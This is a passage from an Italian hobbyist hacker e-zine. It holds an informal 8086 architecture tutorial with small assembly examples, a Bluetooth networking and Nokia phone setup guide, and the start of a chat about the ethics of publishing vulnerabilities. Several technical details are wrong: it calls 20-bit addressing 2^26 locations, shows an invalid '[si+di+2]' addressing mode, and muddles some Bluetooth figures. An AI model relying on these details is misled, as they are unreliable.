_______________________________________________________________________ 16 No 0 a 65535 0000H a FFFFH Una parola interpretata come numero positivo senza segno può assumere 2 alla sedicesima valori diversi, fra 0 e 65.535. ----------------------------------------------------------------------- _______________________________________________________________________ 32 No 0 a 4294967295 000000000H a FFFFFFFFH Una parola interpretata come numero positivo senza segno può assumere 2 alla Tretaduesima valori diversi, fra 0 e 4.294.967.295. :) facile no? ----------------------------------------------------------------------- il 32 due viene definito a parole doppie ed è la metà del 64. Questa cosa me la potevo risparmiare... ;P Dati Carattere: I dati carattere vengono memorizzati nel formato ASCII standard, e ogni carattere occupa un byte. Anche se scrive Peter nel suo IBM la famiglia dell'8086 ignora del tutto l'esistenza di caratteri e li tratta tutti come byte qualsiasi, con una eccezzione (cioè un toppa per rimediare): nel set di istruzioni sono previste la somma e la sottrazione con aggiustamento decimale, eseguite su valori codificati BCD (Binary Coded Decimal o Decimali codificati in binario). In sostanza vengono effettuate altre operazioni aritmetiche che rendono possibile operare in decimale e ottenere quindi valori in decimale, che possono facilmente essere convertiti in ASCII. Quindi ora mi chiedo ma che caz lo hanno fatto a fare così... boh.. erano ancora poco pratici e forse troppo impauriti x rismontare una cosa funzionava anche se arrancando. ¤ Come l'8086 indirizza la memoria ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ Prima di tutto, avrei da sottolieniare il concetto di "limitazione e della scarsa relatività". in sostanza da una macchina tarata a raggiungere la velocità di 50 km orarari non possiamo aspettare che ne faccia cento ma al massimo 55. Ma perchè fa 55? perchè usiamo un trucco? perchè siamo in discesa? No semplicemente perchè quello è il massimo che può fare... ed è la stessa cosa per il computer. Se abbiamo un mp a 16 bit non possiamo aspettare che elabori dati|numeri più lunghi di 16 bit. Ciò significa facendosi 4 calcoli che non riuscirebbe a indirizzare e\o ad accedere a più di 64 KB di memoria. Ma diciamo che nel caso della IBM si è trovata una ingegnosa soluzione laterale, implementando il loro mp fino a circa 1024 KB. In sostanza l'8086 usa uno schema di indirizzamento a 20 bit... ciò ci deve far pensare .... se prima il campo di memoria poteva indirizzare 2 alla sedicesima ora passa a 2 alla ventiseiesima, cioè da 65.535 a 1.048.576 locazioni distinte. Riguardatevi il fatto della disposizione di memoria a rovescio che ho commentato prima. Indirizzi Segmentati L'8086 suddivide lo spazio di memoria indirizzabile in segmenti, ciascuno dei quali è lungo 64 KB. Ogni segmento incomincia a un indirizzo di paragrafo - una locazione il cui indirizzo è divisibile per 16. Per accedera ai singole byte o parole si usa un offset(Scostamento) che punta a una particolare locazione d'un byte entro quel segmento. Dato che gli Offset o scostamenti vengono di regola misurati a partire dall'inizio del segmento, essi vengono anche chiamati indirizzi relativi o offset relativi. Un sefmento e un offset insieme costituiscono un indirizzo segmentato che può servire a indicare una qualsiesi locazione entro lo spazio di 1024 KB indirizzabile dall'8086. L'8086 converte un dato indirizzo segmentato fornito su 32 bit in un indirizzo fisico a 20 bit impiegando il valore del segmento come numero di pragrafo e sommandovi il valore dell'offset. In sostanza, l'8086 sposta di 4 posizioni (che equivalgono a 4 bit) verso Sinistra il valore del segmento, e vi somma l'offset per dare un indirizzo a 20 bit ( 16 bit + 4 bit = 20 bit :D Solo Matematica ). Spostamento a Sinistra del segmento 1234H e uno scostamento 4321H 1234:4321 | | | | | | | | | | | | V | 12340 | | + 4321 <-J _____________ 16661 L'indirizzo segmentato quindi è 1234:4321 ed in sostanza lo spostamento dell'offset e la sua somma è per dare l'indirizzo fisico a 20 bit 16661H. E' importante ricordare che comunque ogni locazione fisica può essere rappresentata non solo come 1234:4321H ma anche come 1666:0001H o 1665:00011H, 1664:0021H. Ci sarebbere anche altre cose da spiegare sugli indirizzi segmentati ma credo che lo dirò più in là senza ora complicarmi la vita. ¤ I registri dell'8086 ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ L'8086 è concepito per eseguire istruzioni e svolgere operazioni aritmetiche e logiche, oltre che per ricevere istruzioni e trasferire dati da e verso la memoria. Per fare ciò esso impiega una serie di registri (14 in tutto) a 16 bit (Ognuno con un impiego speciale). I registri di transito, segmento, offset, flag. I registri di Transito Quattro sono i registri di transito (" per annotazioni ") usati dai programmi per contenere temporaneamente i risultati parziali e gli operandi delle operazioni aritmetiche e logiche. Quando un computer elabora dei dati, gran parte del tempo il mp lo adopere per trasferire i dati da e verso la memoria. Il tempo di accesso può venire sensisbilmente ridotto conservando operandi e risultati frequentemente utilizzati entro l'8086. Per questo sono previsti 4 registri di transito o registri per i dati. I registri per i dati sono chiamati AX,BX,CX e DX. Ciascuno di essi può venire suddiviso e utilizzato separatamente come due registri a 8 bit. I registri a 8 bit corrispondenti di ordine alto sono detti AH, BH,CH e DH, e quelli di ordine basso AL, BL, CL e DL. I registri dati vengono usati prevalentemente come aree di lavoro temporaneo, specialmente per le operazioni aritmetiche. Somme e sottrazioni possono essere seguite anche direttamente in memoria, ma le operazioni condotte tramite i registri dati sono assai più rapide. Anche se questi registri sono disponibile per ogni tipo di lavoro temporaneo, ognuno è specificatamente idoneo per un impiego particolare: Il registro AX (accolumatore) è il registro principale per eseguire le operazioni aritmetiche (Somme e sottrazioni possono venire effettuate entro uno qualsiesi dei registri dati, ma le moltiplicazioni e divisioni possono essere eseguite sono entro AX o AL) Il registro BX (base) può essere impiegato per puntare all'inizio di una tabella di conversione entro la memoria. Può anche essere usato per contenere la parte offset di un indirizzo segmentato. Il registro CX ( di conteggio ) viene usato come contatore per il controllo dei cicli iterattivi e per ripetuti spostamenti di dati. Per esempio, l'istruzione LOOP del linguaggio Assembly utilizza CX per contare il numero delle iterazioni. Il registro DX ( dati ) viene usato per scopi generali, anche se ha taluni impieghi specializzati. Per esempio DX contiene il resto di un'operazione di divisione effettuata sul contenuto di AX ] curiosità che non centra molto.... ma un recente studio sopra la possibile strutturazione di una Intelligenza Artificiale ha cercato di rendere interagibili queste basi di gestione memoria. Altro che innovazioni.... 7 07 0 +---^---^---^---^---^---^---^---++---^---^---^---^---^---^---^---+ AX() * | A H || A L | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- BX() | B H || B L | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- CX() | C H || C L | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- DX() | D H || D L | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- * Accomulatore I registri segmento Sono 4 i registri di segmento e contengono i valori segmenti. Come si è detto in precedenza, l'indirizzo completo di una locazione di memoria consiste di un calore a 16 bit di segmento e di un offset a 16 bit entro tale segmento. Quattro registri, denominati CS, DS, ES e SS, vengono impiegati per identificare quattro specifici segmenti di memoria. Altri cinque registri per gli offset, trattati poco oltre, vengono usati per contenere gli offset dei dati entro ciascuno dei 4 segmenti. Ciascun registro segmento viene usato per un particolare indirizzamento: Il registro CS definisce il segmento del codice, che contiene il programma da eseguire. I registri DS e DE definiscono i segmenti dei dati in cui vengono memorizzati i dati utilizzati dal programma. Il registro SS deginisce il segmento dello Stack (Dello stack ne parleremo dopo) 15 0 +---^---^---^---^---^---^---^---++---^---^---^---^---^---^---^---+ CS() * | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- DS() | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- SS() | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- ES() | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- Raramente i programmi impiegano quattro distinti segmenti per indirizzare aree di memoria di 64 KB diverse. Più comunemente, i quattro segmenti specificati in CS,DS,ES e SS si riferiscono ad aree di memoria che si sovrappongono parzialmente o coincidono. In pratica, comunque, i vari registri segmento identificano aree di memoria utilizzate per scopi diversi. Tipo prendiamo un semplicissimo programma scritto in DOS, ora vi mostro in memoria come si presenterà. ________________________ ___________ SS= 2919H | Stack | 29190H __| 2 KB ------------------------ |___________ DS= 2419H | Dati del Programma | 24190H __| 20 KB | | |___________ ------------------------ |----------- CS= 2019H | Programma Eseguibile | 20190 __| 16 KB | | |___________ ------------------------ | Registro Segmento Indirizzi Fisici _| I Valori dei registri segmento sono scelti in modo da farli di corrispondere all'inizio di varie aree di memoria distinte, anche se le aree di 64 KB definite da ogni segmento si sovrappongono l'una l'altra. Tutte le istruzione dell'8086 che accedono alla memoria usano implicitamente un particolare registro segmento per l'operazione che debbono svolgere. Per esempio , l'istruzione MOV, che agisce sui dati, usa il registro DS. L'istruzione JMP, che imfluisce sul flusso di un programma, usa in automatico il registro CS. Ciò vuol dire che si può indirizzare ogni segmento di 64 KB in memoria ponendo il relativo indirizzo di paragrafo in un registro segmentato. Per esempio per accedere al buffer video del Color Graphic Adapter (CGA) IBM si pone l'indirizzo di paragrafo dell'inizio del buffer in un registro segmento, e poi si usa MOV per trasferire i dati da o verso tale buffer. Di conseguenza un programma in ASM potrebbe essere questo : mov ax,0B800h ; Carica il valore segmento mov ds,ax mov al,[0000] ; copia in AL il byte in B800:0000 * mov = MOVe data = Carica Dati ( se avete fatto attenzione a cosa sono i ds capirete il semplice programmino ) I Registri degli Offset Cinque registri vengono usati assieme ai registri segmento per deginire degli indirizzi segmentati. Un registro, denominato puntatore alle istruzioni (IP, Instruction Pointer), contine l'offset dell'istruzione corrente del programma nel segmento CS; due registri, detti registri stack, sono logicamente collegati agli stack; e gli ultimi due registri detti registri indice, vengono usati per indirizzare stringhe di dati. Il puntatore alle istruzioni (IP), chiamato anche contatore del programma (PC Program Counter), Contiene l'offset entro il segmento del programma (CS) dell'istruzione in coeso di eseguzione. Viene usato assieme a CS per definire la locazione della successica istruzione da eseguire. I programmi non possono accedere direttamente al registro IP ma un certo numero di istruzioni, JMP e CALL, modificando in modo implicito il registro IP. I registri di Stack, che sono il puntatore allo stack (SP, Stack Pointer) e il puntatore alla base (BP. Base Pointer), forniscono gli offset entro il segmento dello stack. Solo di rado i programmi modificano direttamente il valore di SP.Essi si affidano invece alle istruzioni PUSH e POP per aggiornare implicitamente SP. Il registro BP è quello generalmente usato per l'accesso al segmento dello stack. I registri indice, detti rispettivamente indice sorgente (SI, Source Index) e indice destinazione (DI, Destination Index), si possono impiegare per l'indirizzamento ai dati per scopi generali. Inoltre, tutte le operazioni di spostamento e confronto fra stringhe usano SI e DI per indirizzarsi a stringhe dati. 15 0 +---^---^---^---^---^---^---^---++---^---^---^---^---^---^---^---+ IP() * | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- SP() | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- BP() | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- SI() | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- DI() | || | ----+---+---+---+---+---+---+--------+---+---+---+---+---+---+---- In sostanza cinque registri puntatori e indice contengono gli offset da usare assieme ai quattro valori dei registri segmento per localizzare dati in memoria. I registri dei flag L'ultimo registro, il quattordicesimo, detto registro dei flag, in effetti è una raccolta di singoli bit di stato e di controllo chiamati flag (letteralmente "bandierine di segnalazione". I flag sono conservati in un registro in modo da poter essere salvati e recuperati come gruppo, oppure ispezionati come dati nominali. Normalmente però i flag vengono posizionati e verificati come unità indipendenti, non come gruppo. Esistono nove flag da 1 bit nel registro dei flag dell'8086, che è a 16 bit, e quindi 7 dei bit non sono utilizzati. I flag possono logicamente suddividere in due gruppi: sei flag di stato , che memorizzano informazioni di stato del processore (in genere segnalano il risultato di un'operazione aritmetica o di confronto), e tre flag di controllo, che dirigono alcune istruzioni dell'8086. Si possono trovare indicazioni diverse su varie fonti per i nomi dei flag, fra cui nomi distinti per i casi in cui siano posti a 1 oppure a 0. 15 0 _____________________________________________________________ Flag | | | | | OF| DF| IF| TF| SF| | AF| | PF| | CF| ----+---+---+---+---+---+---+-------+---+---+---+---+---+---+ ________________________________________ /I 6 flag di Stato del registro dei flag \___________________________ | | | Codice Nome dei Flag Utilizzo | +----------------------------------------------------------------------+ | CF Carry Segnala un riporto in una | | operazione aritmentica | |----------------------------------------------------------------------| | OF Overflow Sefnala un superamento dei | | limiti in un'operazione | | aritmetica con segno | |----------------------------------------------------------------------| | ZF Zero Segnala risultato 0, o | | eguaglianza in un confronto | |----------------------------------------------------------------------| | SF Segno Sefnala risultato/confronto | | negativo | |----------------------------------------------------------------------| | PF Parità Segnala numero pari di bit | | posti a 1 | |----------------------------------------------------------------------| | AF Carry ausil. Segnala che occorre | | l'aggiustamento in | | un'operazione aritmetica in | | BCD (Binary Coded Decimal) | |----------------------------------------------------------------------| | Da notare che sono riferiti all'architettura dell'8086 | |______________________________________________________________________| ____________________________________________ /I 3 flag di controllo del registro dei flag \________________________ | | | Codice Nome dei Flag Utilizzo | +----------------------------------------------------------------------+ | DF Direzione Controlla la direzione | | dell'incremento in operazio_| | _ni(CMPS,LODS,MOVS,SCAS,STOS) |----------------------------------------------------------------------| | IF Interrupt Controlla se gli interrupt | | sono stati abilitati. | |----------------------------------------------------------------------| | TF Trappola Controlla le operazioni | | passo-passo (usate da DEBUG)| | generando un interrupt alla | | fine di ogni istruzione. | |----------------------------------------------------------------------| | Da notare che sono riferiti all'architettura dell'8086 | |______________________________________________________________________| Indirizzamenti di Memoria Tramite Registri Come si è visto, per l'indirizzamento alla memoria si usa sempre la combinazione di un valore segmento e di un offset relativo. Il valore di segmento viene in ogni caso ricavato da uno dei quattro registri segmento. L'offset invece può essere specificato in vari modi (che magari poi vedremo..). Per ogni istruzione in 1.m. che accede alla memoria l'8086 calcola un indirizzo fisico combinando uno, due o tre degli elementi seguenti: . il valore in BX o BP . il valore in SI . un valore offset relativo, detto scostamento, che fa parte della istruzione Ognuno dei modi diversi per formare un indirizzo fisico ha il suo impiego. Si possono usare l'indirizzamento Immediato o Diretto quando si conosce in anticipo l'offset di una particolare locazione di memoria. Si deve ricorrere a uno degli altri modi di quando non si sa quale potrà essere l'indirizzo fino al momento della esecuzione del programma. La notazione impiegata per specificare gli indirizzi 8086, per esempio, è abbastanza semplice. Si usano le parentesi quadre [] , per indicare che il valore fra esse incluso è un offset relativo. La regola chiave è: quando non ci sono parentesi quadre, si utilizza l'effettivo valore contenuto nel registro per l'operazione volta a volta specificata. In Assembly i modi di indirizzamento dell'8086 sono questi, ma mi pare che alcune istruzioni possono essere espresse in un'altro modo. Nome : Immediato Indirizzo Fisico : Fa parte della istruzione Esempio in ASM : mov ax,1234h Commenti : Memorizza 1234h in AX Nome : Diretto Indirizzo Fisico : Fa parte della istruzione Esempio in ASM : mov ax,[1234h] Commenti : Copia in AX il valore alla locazione 1234h. Il registro segmento per default è DS Nome : Registro Indiretto Indirizzo Fisico : Contenuto in BX,SI,DI O BP Esempio in ASM : mov ax,[bx] Commenti : Copia in AX il valore dell'offset contenuto in BX. Il registro segmento di default è DS per [BX],[SI],[DI]; SS per BP Nome : Da Base Indirizzo Fisico : Somma dello scostamento (parte dell'istruzione) e del valore in BX o BP Esempio in ASM : mov ax,[bx+2] oppure mov ax,2[bx] Commenti : Copia in AX il valore locato 2 byte oltre l'offset dato da BX. Il registro segmento di default è DS per [BX];[BP] è SS Nome : Indicizzato Indirizzo Fisico : Somma dello scostamento e del valore SI o DI Esempio in ASM : mov ax,[si+2] oppure mov ax,2[si] Commenti : Copia in AX il valore locato 2 byte oltre l'offset contenuto in SI. Il registro segmento di default è DS Nome : Indicizzato da base Indirizzo Fisico : Somma dello scostamento e del valore SI o DI ed valore BX o BP Esempio in ASM : mov ax,[si+di+2], mov ax,2[bp+si] oppure mov ax,2[bp][si] Commenti : L'offset è la somma dei valori in BP e SI + 2. Se si usa BX, il registro segmento di default è DS; per BP è sempre SS Nome : Idirizzamento Stringa Indirizzo Fisico : Stringa di origine: Registro indiretto con uso di SI. Strinfa di destinazione : Registro indiretto con uso di DI. Esempio in ASM : Devi usare "movsb" | MOVe String(Byte) cioè Carica la stringa-byte Commenti : Copia la stringa partendo da DS:[SI] dalla locazione ES:[DI] Riflessioni per l'impiego dei registri << E' importante sapere che esistono regole diverse per l'impiego dei registri, ed è essenziale conoscerle quando si scrivono routine d'interfaccia in linguaggio Assembly. Dato che tali regole e le convenzioni d'uso variano secondo i casi e secondo il linguaggio di programmazione, non si possono sempre indicare direttive precise: tuttavia le regola generali che seguono sono valide nella maggior parte dei casi. La regola probabilmente più utile riguardo l'impiego dei registri è quella di usarli per gli scopi per cui sono stati espressamente previsti. L'idea che ciascuno dei registri dell'8086 abbia determinati e specifici usi può apparire contorta, ma tutto ciò dipende dalle esperienze del programmatore, che magari ha avuto a che fare con registri + o - specializzati. Nell'8086, l'uso dei registri per le loro funzioni naturali porta a un codice sorgente più pulito ed efficiente, e in definitiva a programmi più affidabili. >> Peter Norton ¤ Approfondimento Stack ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ Era necessaria una disquisizione sullo Stack dopo che abbiamo parlato dei registri. Lo Stack offre ai programmi un posto dove salvare e recuperare la traccia del lavoro in corso. L'impiego più importante dello stack è per memorizzare l'indicazione del punto in cui certe subroutine sono state richiamate, e dei parametri che a esse sono stati passati. Lo stack può essere impiegato anche come area di memoria termporanea, anche se questo uso è meno importante e meno comune. Lo stack (letteralmente Pila o Catasta) prende il suo nome per analogia , ad esempio, con una pila di piatti in un ristorante. Nuovi dati vengono spinti (PUSH) in cima alla pila, e dati vengono recuperati scaricandoli (POP) dalla cima. Uno stack opere sempre in ordine LIFO (Lat In, First Out, esce per primo l'ultimo entrato). Se lo stack ad esempio è usato per tenere traccia del punto di ritorno di un programma, il rientro avverrà entro il programma che ha effettuato l'ultima chiamata di subroutine. In questo modo lo stack assicura l'ordinata esecuzione di programmi, subroutine e routine di gestione d'interrupt (ne parleremo dopo), per quanto complessa e intricata. Lo stack viene utilizzato partendo dal fondo (Indirizzo pià alto) fino alla cima (Indirizzo più basso). Perciò quando un dato viene caricato in cipa allo stack, viene inserito agli indirizzi di memoria immediatamente precendenti quello della attuale cima dello stack. Lo stack "cresce" procedendo all'indietro, per cui a ogni dato aggiunto l'indirizzo della cima dello stack si sosta verso valori inferiori, e corrispondentemente lo SP viene decrementato. Occorre tenerlo ben presente quando si intende accedere allo stack, come può accadere nelle routine d'interfaccia in linguaggio macchina. In ogni momento il programma può creare un nuobo spazio per lo stack, ma questo in genere non avviene. Normalmente, quando un programma è in corso di esecuzione, viene creato un singolo stack che vine utilizzato per tutto il tempo che il programma lavora. Non c'è un modo semplice per determinare le dimensioni per lo stack di cui un programma può avere necessità. FASE1 Lo stack prima del PUSH ______ :1008 | 5E00 | -> Fondo dello Stack ------ ______ :1006 | 4D00 | ------ ______ :1004 | 3C00 | -> Cima dello Stack ------ (SP= 1004) ______ :1002 | | ------ ______ :1000 | | ------ FASE2 Lo stack dopo il PUSH ______ :1008 | 5E00 | -> Fondo dello Stack ------ ______ :1006 | 4D00 | ------ ______ :1004 | 3C00 | -> Vecchia Cima dello Stack ------ ______ :1002 | 2B00 | -> Cima dello stack ------ (SP = 1002) ______ :1000 | | ------ FASE3 Lo stack dopo un POP ______ :1008 | 5E00 | -> Fondo dello Stack ------ ______ :1006 | 4D00 | ------ ______ :1004 | 3C00 | -> Cima dello Stack ------ (SP = 1004) ______ :1002 | | ------ ______ :1000 | | ------ Per essere ancora più specifico il POP e il PUSH sono comandi Assembly, ora ve li riporto di seguiro senza che poi non ci capite un cazz... PUSH = PUSH = Carica SULLO Stack PUSHF = PUSH Flags = Carica i flag sullo stack POP = POP = Scarica dallo Stack POPF = POP Flags = Scarica i flag dallo stack ¤ Come l'8086 utilizza le porte di I\O ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ I microprocessori della famiglia 8086 comunicano e controllano varie altre parti del computer utilizzando porte di input/output (I\O). Queste sono come dei passaggi attraverso cui camminano le informazioni nel loro viaggio verso o da un'unità di ingrsso o uscita, come la tastiera o una stampante. L'accesso a molti dei chip ausiliari avviene tramite le porte di I\O: anci ogni chip può spesso usare un certo numero di indirizzi di porte per scopi diversi. Ogni porta infatti è identificata da un numero (indirizzo) di porta a 16 bit, che può andare da 00h a FFFFH (65535 dec.). La CPU identifica una determinata porta in base al suo indirizzo. Come nel caso dell'accesso alla memoria, la CPU ricorre ai bus dati e indirizzi per le comunicazioni con le porte. Per Accedere a una porta , la CPU prima invia un segnale sul bus di sistema per segnalare a tutti i dispositivi di I\O che l'indirizzo posto sul bus è quello di una porta. Poi la CPU trasmette effettivamente l'indirizzo della porta. Il dispositivo il cui indirizzo corrisponde a quello sul bus allora risponde. L'indirizzo di una porta corrisponde a una locazione di memoria associata a un dispositivo di I\O, la quale però non fa parte della memoria principale. In altre parole, l'indirizzo di una porta di I\O non è la stessa cosa di un indirizzo di memoria. Per esempio, la porta I\O numero 3D8H non ha ninete a che fare con la locazione a memoria d'indirizzo 3D8H. Per accedere a una porta di I\O non si usano istruzioni per lo spostamento di dati come MOV e STOS, ma invece le istruzioni IN e OUT, riservate alle comunicazioni col le porte di I\O. Nota: Moltissimi linguaggi di programmazione forniscono funzioni di accesso alla porte I\O. Esempio le funzioni INP e OUT della famiglia basic o C. L'impiego di determinate porte di I\O è stabilito dai progettisti dell'hardware. I programmi che fanno ricorso alle porte di I\O devono sapere quali sono i numeri di queste porte, e anche che funzioni esse svolgono e come si usano, forse il problema è stato "digitalizzato" usando le USB. spero che ci abbiate capito qualcosina, anche perchè questo non è il classico tutor da mezza giornata di lavoro... ma credo che parli da solo... io vi saluto e stacco _fbardozzo. +--------------------------------------------------------------[open the file]-+ |[ DENTRO LA MACCHINA ] | |-- Il Wireless & le bluetooth | |-- Cyberdude | | _________________________________________________________| |____________________/ @ PARTE PRIMA – Dati teorici - I concetti base - Spiegazione generica di tipologia wireless - La tecnologia bluetooth - Le Wireless Personal Area Networks, piconet e picoreti - Le scansioni tra dispositivi - Tecnologia FHSS, unità master e scatternet - Collegamenti Master-slave : SCO & ACL - In conclusione Wireless la tipologia di comunicazione tramite la quale i segnali viaggiano senza fili o cavi di trasmissione. I sistemi wireless sono caratterizzati dalla divulgazione di dati via IR (infrarossi) o RF (radiofrequenze). Ciò avviene grazie ad un chip integrato all’interno dei sistemi che sfruttano questa tecnologia; esso permette di trasmettere e ricevere informazioni via etere. Ora entrando nello specifico approfondiremo una tecnologia progettata per realizzare comunicazioni tra oggetti di piccole dimensioni. Tale tecnologia è chiamata bluetooth e rappresenta una interessante branchia delle tipologie wireless. La rete bluetooth è qualificata da interconnessioni di comunicazione di dati similmente ad una rete lan; anche se rispetto a quest’ultima è di gran lunga superiore per un principale motive: la comunicazione non avviene soltanto tra una rete di computer ma si estende anche ad altri apparecchi quali cellulari, cuffie, fotocamere, scanner ecc. Con bluetooth è possibile creare anche una Wireless Personal Area Networks (Npan). In una Npan determinati pacchetti su rete radio sono utilizzati per la trasmissione di dati; poi c’è la modalità connection-oriented sfruttata invece per le trasmissioni vocali. Un network wireless di questo genere prende il nome di piconet, può ammettere fino a 16 periferiche che hanno in comune un canale di comunicazione valendosi di bluetooth . Elementi base di un apparato bluetooth sono l’unità radio e l’unità base; i dispositivi che comunicano tra loro, si configurano dinamicamente formando le picoreti che a loro volta possono interconnettersi tra loro. I vari apparecchi bluetooth sono in modalità standby e esercitano una continua scansione per verificare la presenza di altri eventuali dispositivi. Questa scansione può essere di tipo page-scan oppure inquiry-scan; la prima ricerca il collegamento con un altro apparecchio che può risultare in modalità connectable mode o non-connectable mode, il secondo invece può riscontrare un discoverable mode o un non-discoverable mode. Quando un dispositivo non viene conosciuto allora entra in atto il comando inquiry che dopo averlo riconosciuto lo comunica con un comando page al quale seguirà il collegamento tra i dispositivi. Una scansione può dare quattro diversi risultati : A Active = La connessione è attiva e i nuclei sono sincronizzati con il master S Sniff = C’è una diminuzione del caricamento di attività in modalità di attesa di una piconet, il rapporto di attesa è programmabile P Park = Si è in modalità di attesa restando però sempre coordinati alla piconet H Hold = Si sviluppano manovre IS o PS con basso impiego di energia Quando più unità spartiscono la stessa serie di piconet, tutti i congegni condividono il medesimo canale di accesso di afflusso uniformandosi con l’unità master che gestisce la comunicazione tramite FHSS (Frequency Hopping Spread Spectrum). Tale tecnologia autorizza un rapporto fino a 7 apparati attivi contemporaneamente. Quando più piconet si uniscono tra loro da diversi master si forma una struttura ancor più ampia chiamata scatternet in cui è possibile includere fino a 10 piconet che a loro volta possono contenere un numero massimo di 79 bluetooth con ciascuno con frequenza diversa da quelli di un’altra piconet. La comunicazione tra master e gli altri apparecchi sotto esso (slave) può verificarsi essenzialmente in due forme: SCO e ACL. La prima, Synchronous Connection Oriented , consente sia una trasmissione radio che una trasmissione voce bi-direzionale grazie alla codifica vocale Continuous Variable Slope Delta Modulation la quale autorizza un bit rate di 64Kb. La Asynchronous Connectionless invece sopporta soltanto una diffusione dati a modalità contemporanea con velocità di 723Kbs in modalità asimmetrica e 434Kbs in modalità simmetrica. In conclusione abbiamo visto che : una rete wireless composita da più macchine forma una piconet, che unitamente ad altre piconet fomerà un network wireless (Scatternet). Inoltre tra due apparati bluetooth vicini tra loro, si manda a effetto una scatternet con frequenze diverse e ciascun master regola gli slave dell’ inerente piconet. ________________________________________________________________________________ @ PARTE SECONDA – Applicazioni pratiche - Navigare in rete con Bluetooth e il Nokia 7610 - Perché conviene? - Cosa serve? - Creare l’account dati sul telefonino - Attivazione della com interessata - Attivazione del servizio Perché conviene connettersi ad internet utilizzando bluetooth? Ci sono svariati motivi per scegliere una tale connessione : 1. Non terremo occupato il numero di casa siccome il collegamento avviene da cellulare 2. La connessione è molto veloce (720 Kb\s velocità teorica ma dipende dal modem istallato sul pc) 3. Risulta molto più economico rispetto ad una connessione GPRS (15 euro al mese senza costi aggiuntivi 24h su 24h) Configurare una connessione ad internet da un cellulare GPRS tramite Bluetooth avremo bisogno di poche cose : 1. Una dongle USB Bluetooth che potete acquistare in tutti i negozi di elettronica o di computer al prezzo approssimativo di 50 euro 2. Bluetooth software (presente nella dongle USB) 3. Il nokia 7610 4. Nokia PC suite per 7650 (30MB) scaricabile da http://nds1.nokia.com/phones/files/software/Nokia_PCSuite_en.exe Inclusi nel pacchetto Nokia Pc suite sono inclusi altri programmi quali mRouter che fa da router ( Un dispositivo che connette due o più reti in grado di smistare in maniera affidabile pacchetti di dati da una parte all'altra della rete. Per svolgere tale compito utilizza dei particolari protocolli che gli consentono di conoscere dove si trovi il destinatario dei pacchetti che sta indirizzando) a livello IP; grazie ad esso, quando il Pc è collegato al cellulare, il Nokia vede il PC come gateway (calcolatore di collegamento tra due o più sistemi differenti) IP La prima cosa da fare per ottenere un collegamento tramite bluetooth è istallare il PC suite con tutti i driver. Dopodiché si passa alla creazione dell’account sul telefonino: Strumenti – Impostazioni – Connessione – Punti di accesso – Opzioni – Nuovo Punto di accesso – Usa impostazioni predefinite. Quindi inserire le seguenti informazioni : +------------------------------------------------------------------------------+ | | TIM | Vodafone Omnitel | Wind | |---------------|-------------------|--------------------|---------------------| |Tipo trasporto | GPRS | GPRS | GPRS | |dati | | | | |---------------|-------------------|--------------------|---------------------| |Nome punto | di uni.tim.it | web.omnitel.it | internet.wind | |accesso | | | | |---------------|-------------------|--------------------|---------------------| |Nome utente | (username UNI.TIM)| | | |---------------|-------------------|--------------------|---------------------| |Richiesta | No | No | No | |Password | | | | |---------------|-------------------|--------------------|---------------------| |Password | (username UNI.TIM)| | | |---------------|-------------------|--------------------|---------------------| |Autenticazione | Normale | Normale | Normale | |---------------|-------------------|--------------------|---------------------| |Indirizzo IP | | 10.127.1.41 | 212.245.255.2 | | | | | | +------------------------------------------------------------------------------+ A questo punto entriamo nella configurazione del bluetooth sul PC. Quindi annotiamo la porta com a cui è assegnata la Bluetooth serial service. Tale informazione è riportata nella schermata LOCAL SERVICES. Di seguito chiudiamo con il tasto OK. Adesso sulla barra delle applicazioni selezioniamo l’icona mRouter con il tasto destro del mouse, quindi PROPRIETA’ . Selezioniamo la porta Com segnata precedentemente per attivarla e chiudiamo. Ora possiamo attivare il bluetooth sul cellulare Cliccando con il tasto destro del mouse sull’icona Bluetooth nella barra delle applicazioni attiviamo il servizio : Bleutooth serial Port. Scegliamo quindi il devices, nel nostro caso Nokia 7610 e attendiamo il messaggio della riuscita connessione. Buona Navigazione +--------------------------------------------------------------[open the file]-+ |[ VITA DI CHAN ] | |-- Etica Hacker | |-- Alcuni IL Members | | _________________________________________________________| |____________________/ io avrei una critica cyberdude dici pure baSheR sopratuttto su quello che scrivi te ti chiedo di evitare ah si... gia mel'hai detto di scrivere tut che spigano i bug e come usarli comprende gia ci sn troppe persone iscritte a bugtraq basher: xkè ? poi voi glie le spiegate pure c0d3r xche ci sono dei ragazzini che potremmo essere noi che nn solo si mettono nei guai secondo me ma che infangano il nome degli hacker . e buono spiegarlo ma a livello di sicurezza la parte attacco . . nn la mettere anche se e quella che interessa di + xò secondo me sbagliate: un e-zine che si chiama informazione libera nn può occultare delle info ke esistono si attaccano infatti nn dico occultare senno diventiamo come M$ nn e occultare ma evitare quello che ti può danneggiare va nascosto nn sn d'accordo mettere disclaimer ecc ecc no no baSheR ... io descrivo le vulnerabilità (l'ho spiegato gia ma non mi stancherò mai di ripeterlo) non per permettere a 4 lamerozzi di usare l'exploit del giorno ma per far capire ai programmatori dove sono gli errori i problemi e quindi per far si che si occupino di rimediare, se mai nessuno ne parla mai nessuno ne prende le dovuto precauzioni!! no centra ihihi baSheR noi 